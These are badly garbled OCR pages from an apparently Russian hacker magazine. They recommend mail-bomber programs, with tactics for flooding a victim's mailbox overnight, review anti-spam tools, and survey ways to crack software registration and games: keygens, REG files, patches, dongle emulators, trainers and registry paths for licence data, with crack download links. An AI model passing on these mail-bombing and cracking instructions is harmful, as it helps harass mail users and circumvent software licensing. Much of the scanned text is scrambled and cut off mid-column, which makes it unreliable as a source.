Кабум вещь пинцетная, но есть один об- 
лом: нельзя задавать количество писем, 
которые надо отправить. Поэтому я рас- 
скажу еще про другой мэйл-бомбер, он 
называется Сск Руге (ууу. Воте. 


рих.га/9К/ртзт). Мне он понравился 
сразу, и фейс приятный, и фичи всякие. 
Можно задать число писем (до 100.000 
(!!)). Работает эта колбасная вещь чуть 
быстрее Кабума. И, в отличие от послед- 
него, не требует свежего винсока. Но у 
этой проги свои минусы: нет серваков, 
даже бетонного комбината из Уругвая 
©. Кстати, этим порталом год назад 
пользовалось до фига спамеров. Листы 
тоже отсутствуют, и Р выдает как пос- 
ледний стукач (как и большинство 
анимэйлеров). В общем, Кабум для прос- 
того убоя мыла наиболее подходит. У 
обоих бомберов нет возможности 
приаттачить файл, так что твои грязные 
мыслишки о рассылке троянов и фоток 
любимого хомяка УЭПа (один черт так 
назвал своего ©), оставь для Хотмэйла 
(естественно, вместе с прокси). 
Немного базара о эффективной бом- 


_ бежке. Я делаю ЭТО ночью (подходит 


для названия фильма ©). Ночью каналы 
более разгружены, почтовые серваки 
меньше глючат и, самое главное, Инет 
дешевле. Чтобы закиллить ящик, надо 
скинуть 5 мегов, при этом не просто 
прислать файл в 5 мег, а заслать кучу 
сообщений (больше 1000). Считаем: ты 
шлешь письмо объемом 5 кубиков, про- 
качка с буржуйским серваком 1,5 + про- 
верка протокола = 10 сек на письмо. 
Т.е. 1000 писем уйдет за полтора часа. 
В строке Зепаег пиши адрес второго 
ящика, который надо устранить, чтобы 


при переполнении письма отсылались 


именно туда. Маниакально следить за 
рассылкой не надо — лучше пойди поспи 
(если у тебя не анлимитед, то поставь 
таймер в терминалке), а то встанешь с 
утра помятый и несвежий, и тебя девочки 
любить не будут ©. 


ПВО сЕТЕВЫХ разборок 

К несчастью (а для кого-то к счастью ©, 
со спамом бороться сложнее, чем его 
рассылать. Но на то и ПВО, чтобы убе- 
речься от атак, да еще и врага сбить 
(лучше просто в морду дать ©). Что та- 
кое фильтр, ты знаешь? Фильтр — это 
фишка, не пропускающая письма с оп- 
ределенных мыл, содержащие опреде- 
ленный сабж или любой другой признак, 
который ты укажешь. Но это самый при- 
митивный метод обороны — помогает 
только от лохов, которые не шифруются. 
Хотя если ты читаешь почту через броу- 
зер, то другого метода нет. В борьбе со 
спамом хорошо себя проявила 

уму. арехтай.сот — много фильтров, 
так что можно оптимально под себя нас- 
троить, но полноценной защиты от спа- 
ма это не даст. 

Я помню, что ты ленивый, но лучше пот- 
рахаться и почту скачивать, а не читать 
через браузер, так как я расскажу про 
клевую вещь. Про прогу для качествен- 
ной борьбы со спамом. Самая простая и 
легенькая (21 куб) — Майсеапег (ууу. 


зов! ги/са!-Ыт/ргодгат.с9!? 449). Фиш- 
ка такая: законнектился с серваком, и 
прога тебе выдает список писем на сер- 
вере, а ты уже выбираешь то, что тебе 
нужно скачивать. Если у тебя много мыл, 
то на контроль ставишь все. Но это, что 
называется, пассивная оборона, а вот 
следующая прога — просто чернобыль- 
ский кошмар всех спамеров. Называется 
спам-бустер (Зрат-Бизег) (ууу. сотас!- 
'р/из.сот), шароварная, но вот-вот поя- 
вится кряк к ней (заглядывай почаще на 
а$а!ау!1а.Бох.зК), хотя это совсем не 
обязательно, т.к. срока действия нет, 
просто зарегившимся обещают поддер- 
жку. Прога очень удобна в настройке. 
Можешь заблокировать определенные 
мылы (например, 5/ех@хакКер.ги © ), 
сабжи и, самое главное, слова, содер- 
жащиеся в почте. Т.е. тебе пришло 5 пи- 
сем одинакового содержания, ты выпи- 
сываешь 3-4 слова и заносишь их в иг- 
нор. И все! Теперь спамер сам будет чи- 
тать свой отстой! В проге есть список 
хостов, через которые приходит спам 
(включено около 20.000), и ты можешь 
пополнять список еженедельно. СБ ра- 
ботает со всеми почтовыми читалками, 
но особо дружит с Батом (см. Х #4) и пя- 
тым Аутлуком (М$). Очень приятный мо- 
мент: пароли СБ хранит в своих файлах, 
а не в изег.Ча\, т.е. никто твою почту чи- 
тать не будет, пароли очень качественно 
зашифрованы. Можно настроить автоп- 
роверку 12 ящиков сразу: ты спокой- 
ненько спишь, а СБ дозванивается до 
твоего прова и собирает почту со всех 
твоих ящиков, фильтрует и, как соберет, 
отключается и ждет времени следующей 
проверки. — 

В общем, прога просто супер, Х тебе ее 
рекомендует! 


В конце конца 

Во многом спам для России не столь ак- 
туален, как для буржуев. В то же время 
пару месяцев назад спамом рассыла- 
лись трояны под видом супер лотерии: 
«выиграйте год бесплатного Интернета, 
подробности читайте в файле» (файл 
был — поера9.ЕХЕ ©). А недавно моя 
ася словила следующую рекламную мес- 
сагу: «Рассылки — 5.000.000 пользова- 
телям !С@ — 20005; 20.000.000 — 
4000$; 45.000.000 — 8000$. Рассылка 
по е-тай — 50.000.000 — цена от 
10.000$ в зависимости от объема». Я ду- 
маю, теперь понятно, что спам востре- 
бован и вряд ли перестанет быть двига- 
телем сетевой торговли. Спамеры заши- 
бают меньшие бабки, чем пираты и кар- 
деры, хотя по этому мессаджу понятно, 
что отдельные личности живут за счет 
рассылок. Спам пока не стал главной 
грозой Сети, ему еще далеко до троянов 
и вирусов, пока его не боятся. Но только 
пока... 
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кыЫХоя (НЫго«@ха ); 
и ету оные 


Если вы с первого раза сумели написать програм- 
му, в которой компилятор не обнаружил ни одной 
ошибки, сообщите об этом системному програм- 
мисту. Он исправит ошибки в компиляторе. 

Теория ошибок 


р амиго: сколько нелицензион- 
ного софта у тебя установлено на 
машине? Вроде, вообще не установле- 
но? Тогда ты просто не знаешь, что та- 
кое лицензия. Прочитай на досуге, что 
тебе пишет очередная программа при 
установке ее на винчестер. Нелицен- 
зионного софта 80-90% — вот это наш 
размерчик! Оставшиеся жалкие про- 
центы — свободно распространяемое 
ПО, халява то есть. В общем, если у 
бя стоит хотя бы одна нелицензион- 
ная прога, то тебе знакома такая шту- 
ка, как кряки. Кряки, как и грибы, бы- 
вают очень разные, причем часто со- 
вершенно невозможно сразу разоб- 
раться, что делает отдельно взятый 
экземпляр. В итоге у меня родилась 
идея всю информацию о кряках упоря- 
дочить и выдать на-гора маленькую 
энциклопедию о них. Кто что может, ка- 
кой тип кряков лучше и что с чем едят. 
А после того как часть о кряках для 
взлома защиты программ была закон- 
чена, сразу вспомнились кряки сугубо 
игровые. Это те самые, что дают тебе 
возможность через стены ходить, да 
Господом Богом не убиенным прикиды- 
ваться. Как оказалось, их тоже много 
всяких и разных. Так что чуток ниже те- 
бя ожидает немереное количество ти- 
пов кряков. А если ты знаешь еще ка- 
кой-нибудь новый тип — всегда жду 
твоего письма! 
еред разборкой кряков расквитаемся 
с вопросом их обнаружения. Любой 
кряк можно поиметь четырьмя путями: 
® Естественным путем. 
® Найти через поисковую систему в 
Инете, например, через ВЧр://аза- 
[ам за.Бох.зК — специальный поиско- 
вый сервер по крякам и всему их ка- 
сающемуся. 
® Найти на компакте, на котором ле- 
жит программа. 
® Создать ручками. 
Если это игровой кряк, то его ты также 
можешь попробовать найти на сайте 
производителя игры © или на сайте ее 
фанатов. 


БЕНАЕ КЕУ / УМКОСК КЕУ 
/ КЕУ / 5ЕНАК МУМВЕВ 


Все эти названия описывают одно и то- 
же — серийный номер, который необ- 
ходимо скормить проге при регистра- 
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ции. В легальной версии пр 
мер (или невразумительная 
тельность из букв и цифр) обы 
сан на коробке или махоньком листоч- 
ке, вложенном в коробку с прогой. Это 

на из самых простых защит, соответ- 
к нно и обходится лег легко. Ст. не толь- 


сать О М 
все, телемаркет! Так обычно | пираты и 
поступают. В случае если номер найти 
не удается, то можно просмотреть 
НехМе\мег ом код программы — иногда 
этот самый номер запрятан внутри 
проги, а не генерится с нуля по ходу ус- 
тановки софтинки. Можно, конечно, 
попробовать ВРА — Виле Рогсе А+- 
+асК — атаку грубой силой, то есть пе- 
ребором всех вариантов. В журнале 
Реп!очзе №1 за 1994 год есть велико- 
лепный абзац ©, описывающий про- 
цесс использования этого вида атаки: 
«В компьютер проникают с помощью _ 
пароля, который представляет соб 
как правило, семизначное числ 
вы набрали номер и соединил 
демом, курсор на вашем экране. 
нает мигать, приглашая ввести 
Вам даются три попытки: не угадал — 


чужой компьютер автоматически «кла- | 


дет трубку». Однако с помощью соот- 
ветствующей программы (все оттуда 
же, из банка данных] ваш компьютер 
может за несколько мгновений послать 
по линии все возможные комбинации 
цифр, среди которых, разумеется, есть 
и правильный вариант. Пароль найден. 
Замок взломань © 


Зарегистрированная таким 

образом прога ничем не от- 

личается от нормальной, за- 

регистрированной легально. 
Хотя, конечно, служба поддержки не 
будет оказывать тебе помощь с таким 
номером. 


Товарищи программеры час- 

то вставляют генерацию се- 

рийного номера в зав, 

мости от конфигурации твоей 
машины. То есть используя заво) 
номер винчестера или матери, н 
мер. И тогда универсального ‘серийно- 
го номера просто не существует. 


КЕУСЕМ / 


А вот улечка — моя любим Ге- 
нератор регистрационных номеров. На 
входе имя пользователя или регистра- 
ционный ключ, на выходе — готовень- 
кий пароль или даже несколько паро-. 
лей. Это настолько круто, что обманы-. 


АСКЕУ СЕМЕВАТОВ — 


ОЩЕГО КРЕКЕра 


вается даже служба технической под- 
держки Мелкософта, которая, как из- 


о запи-  вестно, при разговоре сначала долго 


узнает серийные номера всей своей 
продукции на твоем компе, а потом ве- 
шает трубку. 

А вот делается КЕУ СЕМЕКВАТОК доста- 
точно сложно. Необходимо либо раз- 
гадать алгоритм создания ключа, либо 
вытащить из программы кусок кода, от- 
ветственный за кодировку ключа. В 
первом случае от тебя потребуется не- 
дюжинное знание математики, а во 
втором — ассемблера. Впрочем, если 
тебя заломает писать генератор клю- 
чей — я пойму. Иди за ним на 
Азаа\!5Ру, наверняка его уже написал 
Иванопуло или еще какой-нибудь рус- 
ский крекер. 


Генератор ключей полностью 

заменяет систему «плати 

деньги — имеешь пароль» на 

«имеешь программера — 
имеешь пароль». Программа после ап- 
грейда скорее всего останется заре- 
гистрированной. Красивый, эстетичный 
метод регистрации без хирургического 
вмешательства. 


Явные минусы отсутствуют. 
Вообще, для тебя, меня и 
другого охотника до кряков 
генератор паролей слаще 
сахара. Однако за это платит его соз- 
датель, так как сделать правильно ра- 
ботающий генератор очень сложно. 


ВЕССЕО / ВЕСЯКЕ / 
МЕТКЕ / КЕУРКЕ 


Большинство работающих под Мас- 
тдаями программ для хранения своих 
данных использует реестр. Или, на ху- 
дой конец, ИМ!-файлы. Регистрацион- 
ные данные хранятся там же. Поэтому 
вместо введения серийного номера 
часто бывает достаточно присоединить 
к реестру ВЕС-файл с необходимыми 
записями или скопировать в директо- 
рию проги ИМ!-файл. 

Иногда создатели программ для пущей 
секретности просят выслать вместе с 
деньгами регистрационный код, выдан- 
ный программой, и отсылают назад 
ключевой файл — КЕУЕЕЕ. И всякий 
уважающий себя крекер обязательно 
этим воспользуется, ведь по сути своей 
ключевой файл — просто длинный се- 
рийный номер. 


Используя КЕС-файл, ты из- 
бавляешь себя от муторного 
набивания своего имени/ но- 
мера/ пароля/ е-тай’а/ име- 


ни твоей собаки... Можно даже пере- 
вести некоторые серийные номера в 
вид ВЕС-файлов. Для этого посмотри в 
реестре в отделах «НКЕУ_СУКВЕМТ_ 
ЗЕК\$оЯ\уаге\Уоиг_Ргодгат» или 
«НКЕУ_1ОСАЕ_МАСНИМЕ\ 
ЗОРМ/АЕЕ\Уочг_Ргодгат» на предмет 
записей «Кеа_Кеу», «Кед_Мате» или 
подобных им. Если такие записи сущес- 
твуют, сразу экспортируй этот отдел в 
новый КЕС-файл. Теперь осталось 
только отредактировать получившийся 
файлик в любом текстовом редакто- 
ре — удалить лишние строки, не касаю- 
щиеся регистрационного имени и па- 
роля. 


Минусы такие же, как иу се- 

рийного номера — часто 

программа использует не 

фиксированный номер, при- 
вязанный к твоей копии программы, а 
свежегенеренный. Минусы КЕС-файлов 
еще и в том, что время от времени 
программы сглючивают и прописы- 
ваются в других местах реестра, а не в 
тех, где были при создании КЕС-файла. 
А еще при импорте-экспорте из реес- 
тра могут перевираться некоторые 
символы, не являющиеся буквами ал- 
фавита. А пароли в реестре хранятся 
чаще всего зашифрованные. 


РАТСН / СВАСК 


В каноническом смысле патч — это зап- 
латка, выполненный наспех код, добав- 
ляется в программу для исправления 
уже существующих в ней 
недостатков или 

багов. 
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(Конечно, процесс регистрации — один 
из основных недостатков программы 
©) не заплатки помогают, иногда 


паются и ‘латаются всю св 


писанной в а зыке высоко- 
го уровня. Часто заплатки вставляются 
с помощью специальной программы — 
патчилки. А еще разработчики остав- 
ляют намеренно незадействованные 
области в образе программы. Туда со 
временем можно будет вставить зап- 
латку, изменив код программы таким 
образом, чтобы на эту заплатку в нуж- 
ный момент передавалось управление. 
В принципе, патчи могут создавать не 
только разработчики программного 
обеспечения, но и братья-крекеры. | 
При этом в канонический смысл вн 
сится изменение — такие п 
ляют от недостатков и недс 
программы в процессе рег 
трации. То есть они 
вообще избавляют 
от всякой регис- 
трации! Доста- 


вылетать всякие надоедливые экраны, 
надписи и окошки с предложениями от- 
править деньги. 

Патчи бывают большие и маленькие — 
маленькие исправляют пару-тройку 
байт в нужном месте, а вот большие 
могут содержать целые исправленные 
копии файлов программы и весить до 


5 нескольких мегабайт. Маленькие патчи 


называют креками. Только не спутай 
программу с человеком, их делаю- 
щим — крекером. 


Патчи могут все! Практичес- 
ки любую прогу можно рас- 
ковырять и создать для нее 
патч. Создание патча или 
крека гораздо легче создания генера- 
тора серийных номеров. Тем более что 
иногда достаточно убрать только появ- 
ление надоедливых экранов с напоми- 
наниями. 


Вообще-то, программа пос- 
ле пропатчивания получае* 
не совсем зарегистрирова.. 
ной. Го есть она может мол- 
чать об этом, но при апгрейде на бо- 
лее новую версию опять попросит ре- 
гистрации. Второй и самый большой 
минус — патчи и креки работают толь- 
ко с конкретной версией программы. 
То есть крек для ТВе Ва{ 1.21 не подой- 


_ детк ТИе Ва! 1.21Ь. А это жопа, так 


как с распространением Интернета 
можно достать десять версий одной 
программы. И выбирать тебе бу- 
дет нужно исходя из того, для ка- 
кой версии у тебя есть патч. 


Редко, но попадаются бо- 
лее-менее универсаль- 
ные креки, подходя- 
щие к нескольким 
\ версиям програм- 
мы. Эти прог- 
раммки либо 
пропатчивак 
файл, которыи 
остается 
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неизменным от версии к версии, либо = ЕХЕ-файла. Помимо опроса пароля эти 
сканируют файлы программы на пред- — программы позволяют прилепить даже 


и срока легального использования. А 
_ если программер будет злобным, то он 
х и: еще и процедуру мы 


_ программу! По адресу 

Вр: / /уммум.хаКер.го/зоН/7 /иигидег.гаг 
ты можешь скачать одну из таких 

прог — тнидег.сот, написанную на- 
шим знакомым чуваком. 


И 


выдает каждой софти! 


е нес ходимую 
для корректной работы системную да- 
ту. Каждый день одну и ту же. Прямо 
как Белуши каждый раз в День Сурка 
начинал жить с песни тетки Шер «Я 


поимел тебя, детка (Гуе Со! Уоц 
ВаБУ). 


Концептуально красивый ме- 
тод. Если ты найдешь экстрак- 
тор для одной программы, не 
спеши его выбрасывать после 
применения. В отличие от! 


Вмешательства в работу 

программы нет, а следова- 

тельно, нет связанной с этим 

головной боли. Одна хоро- 
шая программа подмены времени мо- 
жет с успехом применяться для обмана 
туевой хучи шароварных прог. 


Такой способ можно приме- 

нять только тогда, когда не- 

регистренная прога обла- 

дает всеми своими возмож- 
ностями хотя бы ограниченное время — 
так называемые 11а! версии. Для других 
программ машина времени будет бес- 
полезна, так как всех возможностей 
софтины не откроет. 


ЕХТВАСТОВ 


Непереводимый фольклор. Прог- 
рамма для вскрытия спе- 
фического 


ЖА 


не один ра ) 
ред любым нажатием кла- 
виши или вызове любой 
процедуры. Теперь для 
корректного вскрытия 
нужно переписать все 


„ласса за- 
щит. Дело куски кода, где запра- 
в ТОМ, ЧТО шивается серийный 
Ве номер, а их во мно- 


гомегабайтном фай- 
ле может быть нес- 
колько сотен. Или 
можно написать 
постоянно вися- 
щую в памяти 
программульку, 
которая бы от- 
вечала «Да» на 
вопрос глав- 
ной програм- 
мы — «Есть ли. 
ключевая дискетас — 
правильным серийным номе- — 


братья прог- 
раммеры ле- 
нятся приду- 
мывать свою 
собственную 
защиту и ис- 
пользуют для ее 
создания чужие 
специальные про- 
ги. Эти проги бе- 
рут ЕХЕ-файл, шиф- 
руют его, добав- 
ляют процедуру оп- 
роса пароля или клю- 
чевой дискеты, проце- 
дуру с ругательствами 

о регистрации и записывают получив- 
шийся «шедевр» под именем исходного 


каются вручную перед основной, или 
их вызов вставляется в начало основ- 
ной программы на манер вирусов. 
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ром$» Такие программульки запус- — ть 


Заглушки используются и в том случае, 
если в [РТ или СОМ ключе реализова- 
на некая процедура, жизненно необхо- 
димая основной программе. В таком 
случае заглушка выполняет всю работу 
вместо ключа, полностью его эмулируя. 
Для написания затычки следует: а) ра- 
зобраться с помощью дизассемблера и 
дебугера с тем, что же программа зап- 
рашивает и откуда; 6} написать проце- 
дуру, которая заменит системную про- 
цедуру ответа. Например, если идет 
обращение к диску через прерывание 
13, то нужно частично переписать это 
прерывание, вставив в него проверку 
случая, относящегося к вскрываемой 
проге. То есть на вопрос, что записано 
в 82 цилиндре диска А, отвечать: «Ко- 
нечно твой серийный номер и даже 
не беспокоить дисковод. 


Один и тот же [ОСКЕК мож- 

но использовать для вскрытия 
многих программ, использую- 
щих похожие методы защиты. 


Честно говоря, особых мину- 
сов у них нет, за исключе- 
нием того, что их (затычек) 
мало. А еще я очень долго 
вспоминал их английское название, так 
как русское слово «затычка» я смог пе- 
ревести только как «А \ирег». © 


ТВАМСЕ СВАСК 


Комплексный подход. Когда обычный 


крекер встречает необычную защиту, у 
него может получиться очень странный 
кряк. Это чудо природы совмещает в 
себе все предыдущие типы кряков — 
оно исправляет программные файлы, 
вешает в памяти специальные програм- 
мки, добавляет свои библиотеки и за- 
писи в реестр, в общем, применяет все 
возможные способы подавления неп- 
риятельской защиты. 


Программа после подобной 
операции чувствует себя не в 
своем уме (например, в окру- 
жении 2Х80 или ЕС1845) и 
думает, ь о правильно. 


АЗ 


шаловливые ручки попала но- 
|  рулезной софтинки, да 
сит регистрации, да по- 
н для нее еще не выпу- 
щен. Что делать? Ты можешь подож- 


дать пару месяцев и тогда поискать в 
Инете. Но хочется же распробовать на 
полную катушку не через полкварта- 
ла? Можешь попробовать вскрыть за- 
щиту программы сам, но ты уверен, что 
это будет быстрее, чем предыдущее 
предложение? И, наконец, ты можешь 
провернуть технику апгрейдов. 

Найди самую последнюю версию этой 
проги, для которой еще существует 
ЗЕНАЕ МИМВЕК или КЕУСЕМ, и попро- 
буй применить кряк от нее для новей- 
шей версии. Скорее всего софтинка 
отплюется и продолжит просить денег. 
Вот тут ты и сделаешь маленькую хит- 
рость. Установи и зарегистрируй пре- 
дыдущую версию программы. А теперь 
установи поверх нее самую послед- 
нюю версию. Если ты не пользовался 
патчем или любыми другими затычками, 
а программа опять запросила регис- 
трации — плюнь в лицо тому разработ- 
чику, кто делал эту прогу! По нормаль- 
ному, свежеустановленная софтинка 
должна сразу стать регистренной. 
Один мой друг имел серийный номер 
только для \\т;йр'а 2.0 и при установ- 
ке седьмой версии последовательно ус- 
танавливал версии 2.0, 6.3 и 7.0. 


Можно зарегистрировать 
прогу без кряка. 


Долго копаться, ведь тебе бу- 
дет нужно найти, скачать, ус- 
тановить и зарегистрировать 
предыдущую версию прог- 

раммы, а это бывает сложно. 


ЕХРАОТ > 


Усовершенствование, 
утилита, реализую- 
щая непредусмот- 
ренные или зак- 
рытые функции 
в программе. 
Например, 
для СО су- 
ществует ку- 
ча эксплои- 
тов — начи- 
ная от пока- 
за Р адреса 
скрытого ника 
и заканчивая 
отправкой сооб- 
щения от произ- 
вольного Ма. Су- 
ществованием своим 
эксплоиты в большой степе- 
ни обязаны тому, что в новых прог- 
раммах существуют дыры — не до кон- 
ца отлаженный код. Особенно это ка- 
сается сетевых программ. Там, кроме 
багов самой программы, добавляются 
баги сетевых протоколов. Эксплоит 
просто преподносит в красивом и 
удобном виде одну из возможностей, 
открывающуюся из-за очередной недо- 
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работки программеров. Некоторые 
эксплоиты пишутся в виде плагинов, и 
тогда они становятся доступны как еще 
одна программная функция. 

ко пользу! Кстати, один из самых 

известных и полезных 

эксплоитов существует в виде 
КЕС-файла. Этот файл 
вносит в реестр запись 
ЕпаБевоу!тд=1, откры- 
вая тем самым заложен- 
ную в 9-х Виндах во3- 


можность сетевой мар- 
шрутизации. 


Всегда приятно использовать 
баги программы себе на 


Хреново, когда 
для каждой но- 
вой фичи нужно 
запускать отдель- 
ную программку. В той же 
Аське было бы куда лучше 
показывать !Р адрес в 
пм$Ые режиме. А так прихо- 
дится запускать еще одну 
прогу — УИМ2Р.ЕХЕ. Да, кста- 
ти, ее ты можешь скачать по адресу 
Вир://муим.хаКер.го/зоН/7 /ут21р.ехе. 


{ 25ы 


С типологией кряков для регистрации 
программ ты уже знаком. Однако есть 
еще куча приблуд для продвинутых гей- 
меров. Для тебя, то есть. Только не пы- 
тайся говорить, что ни разу не играл в 
компьютерные игры! Даже если тебе 45 
лет, в чем я сильно сомневаюсь, и даже 
если ты на компьютере умеешь только 
печатать в \/ОКО*е, в чем я сомне- 
ваюсь еще сильнее, ты играл 

в Тен! или Ипез! А не хо- 

телось ли тебе, чтобы 

‚ фигурки в тетрисе са- 

\— ми выбирали себе 
посадочное место 
или шары выпада- 

ли нужного цвета 

в нужном месте? 

Конечно, хотел. 

Значит, ты был 

| уже потенциаль- 

'’ но продвинутым 

геймером. Да и 

вообще, как ты мо- 

И жешь сомневаться в 

своей продвинутости, 

если держишь в руках 
последний номер Х® 

Итак, все игровые приблуды 

при некотором желании ты смо- 
жешь: 

® Сделать сам, и в этом деле мы тебе 
поможем — читай рубрики «Мастер- 
ская» и «Грепанация». 

Найти в Интернете на спецсайтах об 
играх (ВНр:/ /\м\ми\. дате!апа.го), на 
сайтах игр или в специальных поис- 
ковиках типа Асталависты 


ры. 


(ВНр://из. ааа а.Бох.зК). 

® Конечно, использовать их по прямому 
назначению, и не только =) ). 

Что у тебя есть на выбор? 


СООБЕ / СНЕАТ 


Списки скрытых кодов, они же. читы. Ну 
кто же их не знает! ЮРОВ — классика. 

Каждый уважающий 
себя игровой 
журнал имеет 
рубрику, в ко- 
торой выдает 
скрытые коды. 
И каждый 
уважающий 
себя созда- 
тель игр кля- 
нется, что 
никаких 
скрытых 
возмож- 
ностей он 
в игру не 
заклады- 
вал. Ка 
же! Еще со вре- 
мен Принца повелось заклады- 
вать в код маленькие секреты и никому 
о них не говорить. Но как говорится в 
старой немецкой пословице — «Что 
знают двое, то знает и свинья». 
Добрую половину кодов можно прочи- 
тать, если заглянуть в игру изнутри. В 
одном из файлов хранится список всех 
кодовых слов и, чаще всего, в неза- 
шифрованном виде. Конечно, искать в 
неудобочитаемом тексте объемом нес- 
колько мегабайт неизвестно что непо- 
нятно где, мягко говоря, трудно. Эта 
работа станет гораздо легче, если ты 
знаешь хотя бы одно кодовое слово из 
этой игры. 


р 


Не надо ломать игру, так как 
коды — это заложенная са- 
мими разработчиками фича. 
А еще появилась маза — дл® 
удобства использования скрытых коду 
создавать специальные программы-ба- 
зы данных. Подробнее об этом писал 


2ро!зоп$ в Х №5, стр.77. 


Последнее время товарищи 
разработчики приобрели го- 
лимую привычку: если ты ис- 
пользуешь кодовые слова, то 
после прохождения этапа твой ранг бу- 
дет не Генерал или Супергерой, а 
просто СНефег — Обманщик, а это, 
как понимаешь, не круто. 


АБООМ 


Всякие официальные и неофициальные 
примочки типа дополнительных уров- 
ней, видов оружия или новых юнитов. 
Как правило, все эти примочки не об- 
легчают жизнь, а только делают ее ин- 
тереснее. То есть Супер-Оружия-С-Ко- 
торым-Ты-Всех-Уделаешь в виде 
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Взпом 


АБРО№М‘а не существует. Это уже на- 
зывается патч ©. Эти примочки соз- 
даются либо товарищами разработчи- 
ками, либо фанатами игры. Пр 
помощь фэнам существует специаль-_ р 
ное программное обеспечение, как то: 
редакторы уровней, клипарта, звуков, $ 
сценариев, ботов и т.п. в зависимости 
от игры. Если захочешь сотворить неч- 
то душераздирающее, готовься к дли- 
тельной и кропотливой работе — я ви- 
дел, каких трудов стоило сделать рабо- 
тающую дверь в Кваке. И это не только _ 
технические трудности, но и художес- 
твенные — не толь 
по-настоящему интересный уровень 

или суперхитрого бота. 


Армия фанатов, вооружен- 
ная редакторами игровых ре- 
сурсов, в конце концов соз- 
даст что-то на самом деле 
интересное. 


Зее Однако произойти это может 
ой как не скоро. 


СВАСК 


Какая же игра обходит- 
ся без крека? Игро- 
вой крек — это 
программа, ис- 
правляющая игру 
в сторону облег- 
чения жизни 
геймера. Креки 
могут все — 
начиная от 
прививки бес- 
смертия, долго- 
летия и наличия 
денег и заканчи- 
вая переведением 
вражеских кланов 
на твою сторону. Кре- 
ки бывают двух типов: те, 
"оторые чуток переделы- 
‚ют саму игру, и те, которые 
правят файлы сохраненной игры — 
замы. Первые могут изменять правила 
игры, а вторые — исходные условия. 
Хотя еще в ВООМ"'е режим Господа 
Бога в МаНнтаге по ЮБОР не вклю- 
чался, а через исправление сохранен- 
ной игры врубался как милый! 
Проще всего делать креки для зауов. 
Теория такова: скорее всего, игра ис- 
пользует зауы с жесткой или частично 
жесткой структурой. Значит, байтик с 
твоими деньгами находится всегда в од- 
ном месте ©. Технология вскрытия та- 
кая: берешь игру, начинаешь играть и 
сохраняешься. Далее тратишь в игре 
чуток денег или других ресурсов и сох- 
раняешься под другим именем. Теперь 
тебе, игра на фиг не нужна — и ты выле- 
заеше в ДОС или куда ты там обычно 
вылезаешь? Теперь запусти кульную 
прогу {с.ехе с параметрами: 
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РС.ЕХЕ САМЕТ.З АУ САМЕ?.$ АУ /В > 
$1$2.СМР. 

Прога сравнит файлы САМЕТ.$ А\ и 
САМЕ?.$А\У по байтам, а разницу за- 
пишет в $1$2.СМР. Рулез! Теперь ос- 
тается только чуть-чуть поломать голо- 
ву над получившимися циферками, и 
золотой ключик твой! Отчет программы 
{<.ехе суперпрост — смещение, где ес- 
ть различие, байт из первого файла и 
байт из второго. Все на блюдечке. 
Технология взлома исходной програм- 


мы более сложная: тебе нужно уметь 


пользоваться дизассемблером и отлад- 
чиком, и вообще, дело это в двух сло- 
вах не объяснишь, отдельная статья 
нужна. + 


Крек — онив Африке крек. В 
итоговой таблице будет 
стоять твой ранг типа «Са- 
мый-Крутой-Из-Всех-Крутых», 
а не «Взломщик». 


Взломанная программа мо- 
жет начать отчаянно глючить. 


>. САМЕ РАТСН 


Патч, как уже из- 


заплетка, ис- 
правляющая 
глюки и ба- 
ги, кото- 
рыми пол- 


компанией- 
производи- 
телем игры. За 
подробностями 
изготовления, вы- 
хода и использования 
патчей отсылаю тебя в Х 
№1 на страницу 34, там дед Сидор 
долго и по делу распинался про тех- 
нологию пропатчивания юзеров гнус- 
ными игровыми компаниями. Могу 
только добавить, что существуют спе- 
цифические патчи, исправляющие 
описание игрового пространства, на- 
писанные на внутреннем скрипт-языке 
игры. 


Конечно, лучший баг — мер- 

твый баг, но какого хрена вы- 

пускать такие глюкавые иг- 

ры? С помощью хорошего 
патча можно создать супероружие или 
намного усилить обычное. 


Как правило, процесс про- 
патчивания становится за- 
тяжным, то есть официальные 
патчи выходят с завидной ре- 


гулярностью. А патчи крекерские могут 
помешать запустить сетевую игру. 


ТВАМЕВ 


Софтинка, запускаемая параллельно с 
игрой, которая исправляет значения в 
образе программы, находящейся в опе- 
ративной памяти. Вот загнул! А на 
практике все это прозрачно — запус- 
каешь тренера и моментально стано- 
вишься неуязвимым и с бесконечными 
ресурсами. Прямо неразменный пятак 
получается. А еще тренер может по на- 
жатию определенной комбинации кла- 
виш принудительно заканчивать про- 
хождение миссии в игре, присваивая те- 
бе максимальный ранг. Продвинутый 
тренер имеет включаемые/отключае- 
мые опции — чего и как в игре править. 
Для написания даже простого тренера 
тебе нужно мастерски овладеть прог- 
раммированием на ассемблере и 

С++ — в этом языке очень удобно осу- 
ществлена работа с памятью. Или вос- 
пользуйся конструктором тренеров, 
например, Мадгс Тгатег’ом — смотри 
Х №6, стр. 76. 

Однако в помощь игровому крекеру 
существует множество программ — 
универсальных тренеров. Логика 
вскрытия в них следующая: на первом 
этапе ты указываешь, какое значение 
нужно искать в памяти машины. Прога 
перекапывает всю оперативку (в слу- 
чае с ВО$ тренером) или память, отно- 
сящуюся к запущенной игре (любой 
Мастдайный тренер), и запоминает на 
винте, где это значение встречалось. 
На втором этапе ты должен чуток поиг- 
рать так, чтобы искомое значение из- 
менилось, и опять запустить поиск в 
тренере. Теперь прога будет искать не 
по всей доступной памяти, а только в 
ячейках, помеченных в первый раз. В 
процессе подобного отсева, в принци- 
пе, должна найтись ячейка памяти, в 
которой записано количество патро- 
нов или чего ты там искал? На третьем 
этапе ты просто изменяешь значение в 
этой ячейке на нужное и/или указы- 
ваешь его «заморозить». 


Исправляются значения в 

оперативке, а значит, файлы 

игры остаются в неприкосно- 

венности. Универсальные 
тренеры позволяют быстро вскрывать 
новые игры. Один из лучших тренеров 
для ОО$ игр, Сате УМхага, ты можешь 
скачать с ННр://\м/\и\у.хаКер.ги/зо_ 
/7/а\.гаг. 


Очень тяжело делать вруч- 
ную — проще найти в Интер- 
нете. Сложно это потому, что 
исправлять необходимо не 
неподвижные файлы на харде, а дина- 
мически изменяющуюся программу в 
памяти. Причем не один раз, а каждую 


"т 


0,1 секунды или чаще, так как значение 
количества жизней или патронов 
склонно непрерывно уменьшаться. 


САМЕ ЕАО / 


НМТ/ ТР 
Фак, п ЕпайзВ — 


РгеауепНу АзКе4 
ОоезНоп$, по-русски 
— ЧаВо — часто за- 
даваемые вопросы. 
Ни один игровой 
кряк тебе не рас- 
скажет о том, как 
найти секретную 
дверь или 
вскрыть абсо- 
лютно не вскры- 
ваемую голово- 
ломку. Об этом 
и многом дру- 
гом рассказы- 
вается в милых 
файлах с рас- 
